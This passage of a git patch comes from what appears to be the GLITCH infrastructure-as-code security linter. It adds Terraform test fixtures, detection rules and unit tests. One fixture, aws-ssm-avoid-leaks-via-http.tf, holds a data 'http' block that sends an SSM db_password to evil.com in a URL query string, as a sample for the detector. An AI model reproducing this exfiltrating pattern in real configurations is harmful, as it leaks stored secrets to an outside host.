"aws_security_group" "good_example" { + description = "description" +} diff --git a/glitch/tests/security/terraform/files/naming/aws-elasticache-description-for-security-group.tf b/glitch/tests/security/terraform/files/naming/aws-elasticache-description-for-security-group.tf new file mode 100644 index 00000000..e1a3bf57 --- /dev/null +++ b/glitch/tests/security/terraform/files/naming/aws-elasticache-description-for-security-group.tf @@ -0,0 +1,13 @@ +resource "aws_elasticache_security_group" "bad_example" { + name = "elasticache-security-group" +} + +resource "aws_elasticache_security_group" "bad_example2" { + name = "elasticache-security-group" + description = "" +} + +resource "aws_elasticache_security_group" "good_example" { + name = "elasticache-security-group" + description = "something" +} diff --git a/glitch/tests/security/terraform/files/naming/naming-rules-storage-accounts.tf b/glitch/tests/security/terraform/files/naming/naming-rules-storage-accounts.tf new file mode 100644 index 00000000..ae033991 --- /dev/null +++ b/glitch/tests/security/terraform/files/naming/naming-rules-storage-accounts.tf @@ -0,0 +1,76 @@ +resource "azurerm_storage_account" "bad_example" { + name = "this-Is-Wrong" + + queue_properties { + logging { + delete = true + read = true + write = true + } + } + network_rules { + default_action = "deny" + } +} + +resource "azurerm_storage_account_customer_managed_key" "bad_example" { + storage_account_id = azurerm_storage_account.bad_example.id +} + +resource "azurerm_storage_account" "bad_example2" { + name = "th" + + queue_properties { + logging { + delete = true + read = true + write = true + } + } + network_rules { + default_action = "deny" + } +} + +resource "azurerm_storage_account_customer_managed_key" "bad_example2" { + storage_account_id = azurerm_storage_account.bad_example2.id +} + +resource "azurerm_storage_account" "good_example" { + name = "thisisright" + + queue_properties { + logging { + delete = true + read = true + write = true + } + } + network_rules { + default_action = "deny" + } +} + +resource "azurerm_storage_account_customer_managed_key" "good_example" { + storage_account_id = azurerm_storage_account.good_example.id +} + +resource "azurerm_storage_account" "good_example2" { + name = "thisisright123" + + queue_properties { + logging { + delete = true + read = true + write = true + } + } + network_rules { + default_action = "deny" + } +} + +resource "azurerm_storage_account_customer_managed_key" "good_example2" { + storage_account_id = azurerm_storage_account.good_example2.id +} + diff --git a/glitch/tests/security/terraform/files/naming/openstack-networking-describe-security-group.tf b/glitch/tests/security/terraform/files/naming/openstack-networking-describe-security-group.tf new file mode 100644 index 00000000..3cd64ba8 --- /dev/null +++ b/glitch/tests/security/terraform/files/naming/openstack-networking-describe-security-group.tf @@ -0,0 +1,10 @@ +resource "openstack_networking_secgroup_v2" "bad_example" { +} + +resource "openstack_networking_secgroup_v2" "bad_example2" { + description = "" +} + +resource "openstack_networking_secgroup_v2" "good_example" { + description = "don't let just anyone in" +} diff --git a/glitch/tests/security/terraform/files/replication/s3-bucket-cross-region-replication.tf b/glitch/tests/security/terraform/files/replication/s3-bucket-cross-region-replication.tf new file mode 100644 index 00000000..f63b2bcc --- /dev/null +++ b/glitch/tests/security/terraform/files/replication/s3-bucket-cross-region-replication.tf @@ -0,0 +1,43 @@ +resource "aws_s3_bucket" "source" { + logging { + } + versioning { + enabled = true + } +} + +resource "aws_s3_bucket_replication_configuration" "bad_example" { + bucket = aws_s3_bucket.source.id +} + +resource "aws_s3_bucket_replication_configuration" "bad_example2" { + bucket = aws_s3_bucket.source.id + rule { + status = "something" + } +} + +resource "aws_s3_bucket_replication_configuration" "good_example" { + bucket = aws_s3_bucket.source.id + rule { + status = "Enabled" + } +} + +resource "aws_s3_bucket_server_side_encryption_configuration" "example" { + bucket = aws_s3_bucket.source.id + rule { + apply_server_side_encryption_by_default { + kms_master_key_id = "something" + sse_algorithm = "aes256" + } + } +} + +resource "aws_s3_bucket_public_access_block" "example" { + bucket = aws_s3_bucket.source.id + block_public_acls = true + ignore_public_acls = true + block_public_policy = true + restrict_public_buckets = true +} diff --git a/glitch/tests/security/terraform/files/versioning/aws-s3-enable-versioning.tf b/glitch/tests/security/terraform/files/versioning/aws-s3-enable-versioning.tf new file mode 100644 index 00000000..6679977c --- /dev/null +++ b/glitch/tests/security/terraform/files/versioning/aws-s3-enable-versioning.tf @@ -0,0 +1,48 @@ +resource "aws_s3_bucket" "example" { + logging { + } +} + +resource "aws_s3_bucket" "example" { + versioning { + enabled = false + } + + logging { + } +} + + +resource "aws_s3_bucket" "example" { + versioning { + enabled = true + } + + logging { + } +} + +resource "aws_s3_bucket_server_side_encryption_configuration" "example" { + bucket = aws_s3_bucket.example.id + rule { + apply_server_side_encryption_by_default { + kms_master_key_id = "something" + sse_algorithm = "aes256" + } + } +} + +resource "aws_s3_bucket_replication_configuration" "example" { + bucket = aws_s3_bucket.example.id + rule { + status = "Enabled" + } +} + +resource "aws_s3_bucket_public_access_block" "example" { + bucket = aws_s3_bucket.example.id + block_public_acls = true + ignore_public_acls = true + block_public_policy = true + restrict_public_buckets = true +} diff --git a/glitch/tests/security/terraform/files/versioning/digitalocean-spaces-versioning-enabled.tf b/glitch/tests/security/terraform/files/versioning/digitalocean-spaces-versioning-enabled.tf new file mode 100644 index 00000000..00e70526 --- /dev/null +++ b/glitch/tests/security/terraform/files/versioning/digitalocean-spaces-versioning-enabled.tf @@ -0,0 +1,19 @@ +resource "digitalocean_spaces_bucket" "bad_example" { + acl = "private" +} + +resource "digitalocean_spaces_bucket" "bad_example2" { + versioning { + enabled = false + } + + acl = "private" +} + +resource "digitalocean_spaces_bucket" "good_example" { + versioning { + enabled = true + } + + acl = "private" +} diff --git a/glitch/tests/security/terraform/test_security.py b/glitch/tests/security/terraform/test_security.py index 385a98fd..9ea9626b 100644 --- a/glitch/tests/security/terraform/test_security.py +++ b/glitch/tests/security/terraform/test_security.py @@ -924,5 +924,49 @@ def test_terraform_logging(self): 4, ["sec_logging", "sec_logging", "sec_logging", "sec_logging"], [1, 8, 49, 79] ) + def test_terraform_attached_resource(self): + self.__help_test( + "tests/security/terraform/files/attached-resource/aws_route53_attached_resource.tf", + 2, ["sec_attached_resource", "sec_attached_resource"], [12, 16] + ) + + def test_terraform_versioning(self): + self.__help_test( + "tests/security/terraform/files/versioning/aws-s3-enable-versioning.tf", + 2, ["sec_versioning", "sec_versioning"], [1, 8] + ) + self.__help_test( + "tests/security/terraform/files/versioning/digitalocean-spaces-versioning-enabled.tf", + 2, ["sec_versioning", "sec_versioning"], [1, 7] + ) + + def test_terraform_naming(self): + self.__help_test( + "tests/security/terraform/files/naming/aws-ec2-description-to-security-group-rule.tf", + 2, ["sec_naming", "sec_naming"], [1, 14] + ) + self.__help_test( + "tests/security/terraform/files/naming/aws-ec2-description-to-security-group.tf", + 2, ["sec_naming", "sec_naming"], [1, 5] + ) + self.__help_test( + "tests/security/terraform/files/naming/aws-elasticache-description-for-security-group.tf", + 2, ["sec_naming", "sec_naming"], [1, 7] + ) + self.__help_test( + "tests/security/terraform/files/naming/naming-rules-storage-accounts.tf", + 2, ["sec_naming", "sec_naming"], [2, 21] + ) + self.__help_test( + "tests/security/terraform/files/naming/openstack-networking-describe-security-group.tf", + 2, ["sec_naming", "sec_naming"], [1, 5] + ) + + def test_terraform_replication(self): + self.__help_test( + "tests/security/terraform/files/replication/s3-bucket-cross-region-replication.tf", + 2, ["sec_replication", "sec_replication"], [9, 16] + ) + if __name__ == '__main__': unittest.main() \ No newline at end of file From 0d06fbe1818255e6456c98b85ae7fc936f8503eb Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Tue, 11 Apr 2023 11:01:57 +0100 Subject: [PATCH 35/58] Added some rules to some code smells and refactor some tests --- glitch/analysis/security.py | 31 ++++++++++ glitch/configs/default.ini | 12 +++- .../disabled-authentication/gke-basic-auth.tf | 9 +++ .../config-master-authorized-networks.tf | 6 ++ .../google-gke-use-rbac-permissions.tf | 9 +++ .../private-cluster-nodes.tf | 9 +++ .../aws-ecr-immutable-repo.tf | 12 ++++ .../security/terraform/files/inv_bind.tf | 3 + .../gke-control-plane-publicly-accessible.tf | 6 ++ .../files/key-management/aws-ecr-use-cmk.tf | 12 ++++ .../digitalocean-compute-use-ssh-keys.tf | 14 +++++ .../aws-ecs-enable-container-insight.tf | 22 +++++++ .../google-gke-enable-stackdriver-logging.tf | 9 +++ ...oogle-gke-enable-stackdriver-monitoring.tf | 9 +++ .../missing-encryption/aws-ecr-encrypted.tf | 12 ++++ .../aws-ecr-enable-image-scans.tf | 34 +++++++++++ .../naming/google-gke-use-cluster-labels.tf | 57 +++++++++++++++++++ .../google-gke-enable-ip-aliasing.tf | 6 ++ .../google-gke-enable-network-policy.tf | 9 +++ .../google-iam-no-default-network.tf | 10 ++++ .../aws-ssm-avoid-leaks-via-http.tf | 20 +++++++ .../tests/security/terraform/test_security.py | 36 ++++++++++-- 22 files changed, 338 insertions(+), 9 deletions(-) create mode 100644 glitch/tests/security/terraform/files/key-management/digitalocean-compute-use-ssh-keys.tf create mode 100644 glitch/tests/security/terraform/files/logging/aws-ecs-enable-container-insight.tf create mode 100644 glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/aws-ecr-enable-image-scans.tf create mode 100644 glitch/tests/security/terraform/files/naming/google-gke-use-cluster-labels.tf create mode 100644 glitch/tests/security/terraform/files/network-security-rules/google-iam-no-default-network.tf create mode 100644 glitch/tests/security/terraform/files/use-of-http-without-tls/aws-ssm-avoid-leaks-via-http.tf diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index 59cb1fd8..c7e94118 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -169,6 +169,15 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str, required_f f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) # check http without tls + if (au.type == "data.http"): + url = check_required_attribute(au.attributes, [""], "url") + if ("${" in url.value): + r = url.value.split("${")[1].split("}")[0] + resource_type = r.split(".")[0] + resource_name = r.split(".")[1] + if get_au(self.code, resource_name, "resource." + resource_type): + errors.append(Error('sec_https', url, file, repr(url))) + for config in SecurityVisitor.__HTTPS_CONFIGS: if (config["required"] == "yes" and au.type in config['au_type'] and not check_required_attribute(au.attributes, config["parents"], config['attribute'])): @@ -591,6 +600,19 @@ def check_database_flags(smell: str, flag_name: str, safe_value: str, required_f container_access_type = check_required_attribute(au.attributes, [""], "container_access_type") if container_access_type and container_access_type.value.lower() not in ["blob", "private"]: errors.append(Error('sec_logging', container_access_type, file, repr(container_access_type))) + elif (au.type == "resource.aws_ecs_cluster"): + name = check_required_attribute(au.attributes, ["setting"], "name", "containerinsights") + if name: + enabled = check_required_attribute(au.attributes, ["setting"], "value") + if enabled: + if enabled.value.lower() != "enabled": + errors.append(Error('sec_logging', enabled, file, repr(enabled))) + else: + errors.append(Error('sec_logging', au, file, repr(au), + f"Suggestion: check for a required attribute with name 'setting.value'.")) + else: + errors.append(Error('sec_logging', au, file, repr(au), + "Suggestion: check for a required attribute with name 'setting.name' and value 'containerInsights'.")) for config in SecurityVisitor.__LOGGING: if (config['required'] == "yes" and au.type in config['au_type'] @@ -636,6 +658,15 @@ def check_attached_resource(attributes, resource_types): if egress and not check_required_attribute(egress.keyvalues, [""], "description"): errors.append(Error('sec_naming', au, file, repr(au), f"Suggestion: check for a required attribute with name 'egress.description'.")) + elif (au.type == "resource.google_container_cluster"): + resource_labels = check_required_attribute(au.attributes, [""], "resource_labels", None) + if resource_labels and resource_labels.value == None: + if resource_labels.keyvalues == []: + errors.append(Error('sec_naming', resource_labels, file, repr(resource_labels), + f"Suggestion: check empty 'resource_labels'.")) + else: + errors.append(Error('sec_naming', au, file, repr(au), + f"Suggestion: check for a required attribute with name 'resource_labels'.")) for config in SecurityVisitor.__NAMING: if (config['required'] == "yes" and au.type in config['au_type'] diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index 19d56abc..e1aa7b59 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -278,7 +278,9 @@ missing_threats_detection_alerts = [{"au_type": ["resource.azurerm_mssql_server_ {"au_type": ["resource.azurerm_security_center_contact"], "attribute": "alerts_to_admins", "parents": [""], "values": ["true"], "required": "yes", "msg": "alerts_to_admins"}, {"au_type": ["resource.azurerm_security_center_contact"], "attribute": "phone", - "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "phone"}] + "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "phone"}, + {"au_type": ["resource.aws_ecr_repository"], "attribute": "scan_on_push", "parents": ["image_scanning_configuration"], + "values": ["true"], "required": "yes", "msg": "image_scanning_configuration.scan_on_push"}] password_key_policy = [{"au_type": ["resource.aws_iam_account_password_policy"], "attribute": "password_reuse_prevention", "parents": [""], "values": ["5"], "required": "yes", "msg": "password_reuse_prevention", "logic": "gte"}, @@ -331,7 +333,9 @@ key_management = [{"au_type": ["resource.aws_cloudwatch_log_group", "resource.aw "attribute": "kms_master_key_id", "parents": ["apply_server_side_encryption_by_default"], "values": ["any_not_empty"], "required": "yes", "msg": "rule.apply_server_side_encryption_by_default.kms_master_key_id"}, {"au_type": ["resource.aws_sns_topic", "resource.aws_sqs_queue"], "attribute": "kms_master_key_id", "parents": [""], - "values": ["any_not_empty"], "required": "yes", "msg": "kms_master_key_id"}] + "values": ["any_not_empty"], "required": "yes", "msg": "kms_master_key_id"}, + {"au_type": ["resource.digitalocean_droplet"], "attribute": "ssh_keys[0]", "parents": [""], + "values": [""], "required": "yes", "msg": "ssh_keys"}] network_security_rules = [{"au_type": ["resource.azurerm_storage_account_network_rules"], "attribute": "default_action", "parents": [""], "values": ["deny"], "required": "yes", "msg": "default_action"}, @@ -348,7 +352,9 @@ network_security_rules = [{"au_type": ["resource.azurerm_storage_account_network {"au_type": ["resource.google_container_cluster"], "attribute": "ip_allocation_policy", "parents": [""], "values": [""], "required": "yes", "msg": "ip_allocation_policy"}, {"au_type": ["resource.google_container_cluster"], "attribute": "enabled", "parents": ["network_policy"], - "values": ["true"], "required": "yes", "msg": "network_policy.enabled"}] + "values": ["true"], "required": "yes", "msg": "network_policy.enabled"}, + {"au_type": ["resource.google_project"], "attribute": "auto_create_network", "parents": [""], + "values": ["false"], "required": "yes", "msg": "auto_create_network"}] google_iam_member_resources = ["resource.google_project_iam_member", "resource.google_project_iam_binding", "resource.google_organization_iam_member", "resource.google_organization_iam_binding", diff --git a/glitch/tests/security/terraform/files/disabled-authentication/gke-basic-auth.tf b/glitch/tests/security/terraform/files/disabled-authentication/gke-basic-auth.tf index 39c0b701..c3bccef4 100644 --- a/glitch/tests/security/terraform/files/disabled-authentication/gke-basic-auth.tf +++ b/glitch/tests/security/terraform/files/disabled-authentication/gke-basic-auth.tf @@ -17,6 +17,9 @@ resource "google_container_cluster" "bad_example" { network_policy { enabled = true } + resource_labels = { + "env" = "staging" + } } resource "google_container_cluster" "good_example" { @@ -35,6 +38,9 @@ resource "google_container_cluster" "good_example" { network_policy { enabled = true } + resource_labels = { + "env" = "staging" + } } resource "google_container_cluster" "good_example2" { @@ -56,4 +62,7 @@ resource "google_container_cluster" "good_example2" { network_policy { enabled = true } + resource_labels = { + "env" = "staging" + } } \ No newline at end of file diff --git a/glitch/tests/security/terraform/files/firewall-misconfiguration/config-master-authorized-networks.tf b/glitch/tests/security/terraform/files/firewall-misconfiguration/config-master-authorized-networks.tf index 5c0ef51e..b6273742 100644 --- a/glitch/tests/security/terraform/files/firewall-misconfiguration/config-master-authorized-networks.tf +++ b/glitch/tests/security/terraform/files/firewall-misconfiguration/config-master-authorized-networks.tf @@ -7,6 +7,9 @@ resource "google_container_cluster" "bad_example" { enabled = true } enable_legacy_abac = false + resource_labels = { + "env" = "staging" + } } resource "google_container_cluster" "good_example" { @@ -24,4 +27,7 @@ resource "google_container_cluster" "good_example" { enabled = true } enable_legacy_abac = false + resource_labels = { + "env" = "staging" + } } diff --git a/glitch/tests/security/terraform/files/insecure-access-control/google-gke-use-rbac-permissions.tf b/glitch/tests/security/terraform/files/insecure-access-control/google-gke-use-rbac-permissions.tf index b119a938..03afdcb7 100644 --- a/glitch/tests/security/terraform/files/insecure-access-control/google-gke-use-rbac-permissions.tf +++ b/glitch/tests/security/terraform/files/insecure-access-control/google-gke-use-rbac-permissions.tf @@ -11,6 +11,9 @@ resource "google_container_cluster" "bad_example" { network_policy { enabled = true } + resource_labels = { + "env" = "staging" + } enable_legacy_abac = true } @@ -27,6 +30,9 @@ resource "google_container_cluster" "good_example" { network_policy { enabled = true } + resource_labels = { + "env" = "staging" + } } resource "google_container_cluster" "good_example2" { @@ -42,5 +48,8 @@ resource "google_container_cluster" "good_example2" { network_policy { enabled = true } + resource_labels = { + "env" = "staging" + } enable_legacy_abac = false } diff --git a/glitch/tests/security/terraform/files/insecure-access-control/private-cluster-nodes.tf b/glitch/tests/security/terraform/files/insecure-access-control/private-cluster-nodes.tf index 496225d3..1066ae04 100644 --- a/glitch/tests/security/terraform/files/insecure-access-control/private-cluster-nodes.tf +++ b/glitch/tests/security/terraform/files/insecure-access-control/private-cluster-nodes.tf @@ -9,6 +9,9 @@ resource "google_container_cluster" "bad_example" { enabled = true } enable_legacy_abac = false + resource_labels = { + "env" = "staging" + } } resource "google_container_cluster" "bad_example" { @@ -25,6 +28,9 @@ resource "google_container_cluster" "bad_example" { enabled = true } enable_legacy_abac = false + resource_labels = { + "env" = "staging" + } } resource "google_container_cluster" "good_example" { @@ -41,4 +47,7 @@ resource "google_container_cluster" "good_example" { enabled = true } enable_legacy_abac = false + resource_labels = { + "env" = "staging" + } } diff --git a/glitch/tests/security/terraform/files/integrity-policy/aws-ecr-immutable-repo.tf b/glitch/tests/security/terraform/files/integrity-policy/aws-ecr-immutable-repo.tf index 74062acf..fbef63a6 100644 --- a/glitch/tests/security/terraform/files/integrity-policy/aws-ecr-immutable-repo.tf +++ b/glitch/tests/security/terraform/files/integrity-policy/aws-ecr-immutable-repo.tf @@ -3,6 +3,10 @@ resource "aws_ecr_repository" "bad_example" { encryption_type = "KMS" kms_key = aws_kms_key.ecr_kms.key_id } + + image_scanning_configuration { + scan_on_push = true + } } resource "aws_ecr_repository" "bad_example2" { @@ -12,6 +16,10 @@ resource "aws_ecr_repository" "bad_example2" { encryption_type = "KMS" kms_key = aws_kms_key.ecr_kms.key_id } + + image_scanning_configuration { + scan_on_push = true + } } resource "aws_ecr_repository" "good_example" { @@ -21,4 +29,8 @@ resource "aws_ecr_repository" "good_example" { encryption_type = "KMS" kms_key = aws_kms_key.ecr_kms.key_id } + + image_scanning_configuration { + scan_on_push = true + } } diff --git a/glitch/tests/security/terraform/files/inv_bind.tf b/glitch/tests/security/terraform/files/inv_bind.tf index 3967ddc9..b91d08c5 100644 --- a/glitch/tests/security/terraform/files/inv_bind.tf +++ b/glitch/tests/security/terraform/files/inv_bind.tf @@ -20,4 +20,7 @@ resource "google_container_cluster" "primary" { display_name = "external" } } + resource_labels = { + "env" = "staging" + } } diff --git a/glitch/tests/security/terraform/files/invalid-ip-binding/gke-control-plane-publicly-accessible.tf b/glitch/tests/security/terraform/files/invalid-ip-binding/gke-control-plane-publicly-accessible.tf index e98374bc..da6c6c90 100644 --- a/glitch/tests/security/terraform/files/invalid-ip-binding/gke-control-plane-publicly-accessible.tf +++ b/glitch/tests/security/terraform/files/invalid-ip-binding/gke-control-plane-publicly-accessible.tf @@ -12,6 +12,9 @@ resource "google_container_cluster" "bad_example" { private_cluster_config { enable_private_nodes = true } + resource_labels = { + "env" = "staging" + } } resource "google_container_cluster" "good_example" { @@ -28,4 +31,7 @@ resource "google_container_cluster" "good_example" { private_cluster_config { enable_private_nodes = true } + resource_labels = { + "env" = "staging" + } } diff --git a/glitch/tests/security/terraform/files/key-management/aws-ecr-use-cmk.tf b/glitch/tests/security/terraform/files/key-management/aws-ecr-use-cmk.tf index d80b1370..a2baf8f5 100644 --- a/glitch/tests/security/terraform/files/key-management/aws-ecr-use-cmk.tf +++ b/glitch/tests/security/terraform/files/key-management/aws-ecr-use-cmk.tf @@ -4,6 +4,10 @@ resource "aws_ecr_repository" "bad_example" { encryption_configuration { encryption_type = "KMS" } + + image_scanning_configuration { + scan_on_push = true + } } resource "aws_ecr_repository" "bad_example2" { @@ -13,6 +17,10 @@ resource "aws_ecr_repository" "bad_example2" { encryption_type = "KMS" kms_key = "" } + + image_scanning_configuration { + scan_on_push = true + } } resource "aws_ecr_repository" "good_example" { @@ -22,4 +30,8 @@ resource "aws_ecr_repository" "good_example" { encryption_type = "KMS" kms_key = aws_kms_key.ecr_kms.key_id } + + image_scanning_configuration { + scan_on_push = true + } } diff --git a/glitch/tests/security/terraform/files/key-management/digitalocean-compute-use-ssh-keys.tf b/glitch/tests/security/terraform/files/key-management/digitalocean-compute-use-ssh-keys.tf new file mode 100644 index 00000000..86322fa8 --- /dev/null +++ b/glitch/tests/security/terraform/files/key-management/digitalocean-compute-use-ssh-keys.tf @@ -0,0 +1,14 @@ +resource "digitalocean_droplet" "bad_example" { + image = "ubuntu-18-04-x64" + name = "web-1" + region = "nyc2" + size = "s-1vcpu-1gb" +} + +resource "digitalocean_droplet" "good_example" { + image = "ubuntu-18-04-x64" + name = "web-1" + region = "nyc2" + size = "s-1vcpu-1gb" + ssh_keys = [1234] +} diff --git a/glitch/tests/security/terraform/files/logging/aws-ecs-enable-container-insight.tf b/glitch/tests/security/terraform/files/logging/aws-ecs-enable-container-insight.tf new file mode 100644 index 00000000..b5dbb738 --- /dev/null +++ b/glitch/tests/security/terraform/files/logging/aws-ecs-enable-container-insight.tf @@ -0,0 +1,22 @@ +resource "aws_ecs_cluster" "bad_example" { +} + +resource "aws_ecs_cluster" "bad_example2" { + setting { + name = "containerInsights" + value = "disabled" + } +} + +resource "aws_ecs_cluster" "bad_example3" { + setting { + name = "containerInsights" + } +} + +resource "aws_ecs_cluster" "good_example" { + setting { + name = "containerInsights" + value = "enabled" + } +} diff --git a/glitch/tests/security/terraform/files/logging/google-gke-enable-stackdriver-logging.tf b/glitch/tests/security/terraform/files/logging/google-gke-enable-stackdriver-logging.tf index 465eb140..531f9fc3 100644 --- a/glitch/tests/security/terraform/files/logging/google-gke-enable-stackdriver-logging.tf +++ b/glitch/tests/security/terraform/files/logging/google-gke-enable-stackdriver-logging.tf @@ -14,6 +14,9 @@ resource "google_container_cluster" "bad_example" { enabled = true } enable_legacy_abac = false + resource_labels = { + "env" = "staging" + } } resource "google_container_cluster" "good_example" { @@ -30,6 +33,9 @@ resource "google_container_cluster" "good_example" { enabled = true } enable_legacy_abac = false + resource_labels = { + "env" = "staging" + } } resource "google_container_cluster" "good_example2" { @@ -48,4 +54,7 @@ resource "google_container_cluster" "good_example2" { enabled = true } enable_legacy_abac = false + resource_labels = { + "env" = "staging" + } } diff --git a/glitch/tests/security/terraform/files/logging/google-gke-enable-stackdriver-monitoring.tf b/glitch/tests/security/terraform/files/logging/google-gke-enable-stackdriver-monitoring.tf index 0893eafc..08751dce 100644 --- a/glitch/tests/security/terraform/files/logging/google-gke-enable-stackdriver-monitoring.tf +++ b/glitch/tests/security/terraform/files/logging/google-gke-enable-stackdriver-monitoring.tf @@ -14,6 +14,9 @@ resource "google_container_cluster" "bad_example" { enabled = true } enable_legacy_abac = false + resource_labels = { + "env" = "staging" + } } resource "google_container_cluster" "good_example" { @@ -30,6 +33,9 @@ resource "google_container_cluster" "good_example" { enabled = true } enable_legacy_abac = false + resource_labels = { + "env" = "staging" + } } resource "google_container_cluster" "good_example2" { @@ -48,4 +54,7 @@ resource "google_container_cluster" "good_example2" { enabled = true } enable_legacy_abac = false + resource_labels = { + "env" = "staging" + } } diff --git a/glitch/tests/security/terraform/files/missing-encryption/aws-ecr-encrypted.tf b/glitch/tests/security/terraform/files/missing-encryption/aws-ecr-encrypted.tf index e8fdf23d..d296fab6 100644 --- a/glitch/tests/security/terraform/files/missing-encryption/aws-ecr-encrypted.tf +++ b/glitch/tests/security/terraform/files/missing-encryption/aws-ecr-encrypted.tf @@ -4,6 +4,10 @@ resource "aws_ecr_repository" "bad_example" { encryption_configuration { kms_key = aws_kms_key.ecr_kms.key_id } + + image_scanning_configuration { + scan_on_push = true + } } resource "aws_ecr_repository" "bad_example2" { @@ -13,6 +17,10 @@ resource "aws_ecr_repository" "bad_example2" { encryption_type = "AES256" kms_key = aws_kms_key.ecr_kms.key_id } + + image_scanning_configuration { + scan_on_push = true + } } resource "aws_ecr_repository" "good_example" { @@ -22,4 +30,8 @@ resource "aws_ecr_repository" "good_example" { encryption_type = "KMS" kms_key = aws_kms_key.ecr_kms.key_id } + + image_scanning_configuration { + scan_on_push = true + } } diff --git a/glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/aws-ecr-enable-image-scans.tf b/glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/aws-ecr-enable-image-scans.tf new file mode 100644 index 00000000..c59e3a40 --- /dev/null +++ b/glitch/tests/security/terraform/files/missing-threats-detection-and-alerts/aws-ecr-enable-image-scans.tf @@ -0,0 +1,34 @@ +resource "aws_ecr_repository" "bad_example" { + image_tag_mutability = "IMMUTABLE" + + encryption_configuration { + encryption_type = "KMS" + kms_key = aws_kms_key.ecr_kms.key_id + } +} + +resource "aws_ecr_repository" "bad_example2" { + image_tag_mutability = "IMMUTABLE" + + encryption_configuration { + encryption_type = "KMS" + kms_key = aws_kms_key.ecr_kms.key_id + } + + image_scanning_configuration { + scan_on_push = false + } +} + +resource "aws_ecr_repository" "good_example" { + image_tag_mutability = "IMMUTABLE" + + encryption_configuration { + encryption_type = "KMS" + kms_key = aws_kms_key.ecr_kms.key_id + } + + image_scanning_configuration { + scan_on_push = true + } +} diff --git a/glitch/tests/security/terraform/files/naming/google-gke-use-cluster-labels.tf b/glitch/tests/security/terraform/files/naming/google-gke-use-cluster-labels.tf new file mode 100644 index 00000000..6b097382 --- /dev/null +++ b/glitch/tests/security/terraform/files/naming/google-gke-use-cluster-labels.tf @@ -0,0 +1,57 @@ +resource "google_container_cluster" "bad_example" { + ip_allocation_policy {} + + private_cluster_config { + enable_private_nodes = true + } + master_authorized_networks_config { + cidr_blocks { + cidr_block = "1.1.1.1" + } + } + network_policy { + enabled = true + } + enable_legacy_abac = false +} + +resource "google_container_cluster" "bad_example2" { + resource_labels = { + } + + ip_allocation_policy {} + + private_cluster_config { + enable_private_nodes = true + } + master_authorized_networks_config { + cidr_blocks { + cidr_block = "1.1.1.1" + } + } + network_policy { + enabled = true + } + enable_legacy_abac = false +} + +resource "google_container_cluster" "good_example" { + resource_labels = { + "env" = "staging" + } + + ip_allocation_policy {} + + private_cluster_config { + enable_private_nodes = true + } + master_authorized_networks_config { + cidr_blocks { + cidr_block = "1.1.1.1" + } + } + network_policy { + enabled = true + } + enable_legacy_abac = false +} diff --git a/glitch/tests/security/terraform/files/network-security-rules/google-gke-enable-ip-aliasing.tf b/glitch/tests/security/terraform/files/network-security-rules/google-gke-enable-ip-aliasing.tf index 32dceef0..b80d91a6 100644 --- a/glitch/tests/security/terraform/files/network-security-rules/google-gke-enable-ip-aliasing.tf +++ b/glitch/tests/security/terraform/files/network-security-rules/google-gke-enable-ip-aliasing.tf @@ -11,6 +11,9 @@ resource "google_container_cluster" "bad_example" { enabled = true } enable_legacy_abac = false + resource_labels = { + "env" = "staging" + } } resource "google_container_cluster" "good_example" { @@ -28,4 +31,7 @@ resource "google_container_cluster" "good_example" { enabled = true } enable_legacy_abac = false + resource_labels = { + "env" = "staging" + } } diff --git a/glitch/tests/security/terraform/files/network-security-rules/google-gke-enable-network-policy.tf b/glitch/tests/security/terraform/files/network-security-rules/google-gke-enable-network-policy.tf index 096da6da..666dba93 100644 --- a/glitch/tests/security/terraform/files/network-security-rules/google-gke-enable-network-policy.tf +++ b/glitch/tests/security/terraform/files/network-security-rules/google-gke-enable-network-policy.tf @@ -9,6 +9,9 @@ resource "google_container_cluster" "bad_example" { } } enable_legacy_abac = false + resource_labels = { + "env" = "staging" + } } resource "google_container_cluster" "bad_example2" { @@ -26,6 +29,9 @@ resource "google_container_cluster" "bad_example2" { } } enable_legacy_abac = false + resource_labels = { + "env" = "staging" + } } resource "google_container_cluster" "good_example" { @@ -43,4 +49,7 @@ resource "google_container_cluster" "good_example" { } } enable_legacy_abac = false + resource_labels = { + "env" = "staging" + } } diff --git a/glitch/tests/security/terraform/files/network-security-rules/google-iam-no-default-network.tf b/glitch/tests/security/terraform/files/network-security-rules/google-iam-no-default-network.tf new file mode 100644 index 00000000..38beb394 --- /dev/null +++ b/glitch/tests/security/terraform/files/network-security-rules/google-iam-no-default-network.tf @@ -0,0 +1,10 @@ +resource "google_project" "bad_example" { +} + +resource "google_project" "bad_example2" { + auto_create_network = true +} + +resource "google_project" "good_example" { + auto_create_network = false +} diff --git a/glitch/tests/security/terraform/files/use-of-http-without-tls/aws-ssm-avoid-leaks-via-http.tf b/glitch/tests/security/terraform/files/use-of-http-without-tls/aws-ssm-avoid-leaks-via-http.tf new file mode 100644 index 00000000..bea89092 --- /dev/null +++ b/glitch/tests/security/terraform/files/use-of-http-without-tls/aws-ssm-avoid-leaks-via-http.tf @@ -0,0 +1,20 @@ +resource "aws_ssm_parameter" "bad_example" { + name = "db_password" + type = "SecureString" + value = var.db_password +} + +data "http" "not_exfiltrating_data_honest" { + url = "https://evil.com/?p=${aws_ssm_parameter.bad_example.value}" +} + + +resource "aws_ssm_parameter" "good_example" { + name = "db_password" + type = "SecureString" + value = var.db_password +} + +data "http" "good_example" { + url = "https://something.com}" +} \ No newline at end of file diff --git a/glitch/tests/security/terraform/test_security.py b/glitch/tests/security/terraform/test_security.py index 9ea9626b..842f1d4b 100644 --- a/glitch/tests/security/terraform/test_security.py +++ b/glitch/tests/security/terraform/test_security.py @@ -119,7 +119,7 @@ def test_terraform_insecure_access_control(self): ) self.__help_test( "tests/security/terraform/files/insecure-access-control/google-gke-use-rbac-permissions.tf", - 1, ["sec_access_control"], [14] + 1, ["sec_access_control"], [17] ) self.__help_test( "tests/security/terraform/files/insecure-access-control/google-storage-enable-ubla.tf", @@ -139,7 +139,7 @@ def test_terraform_insecure_access_control(self): ) 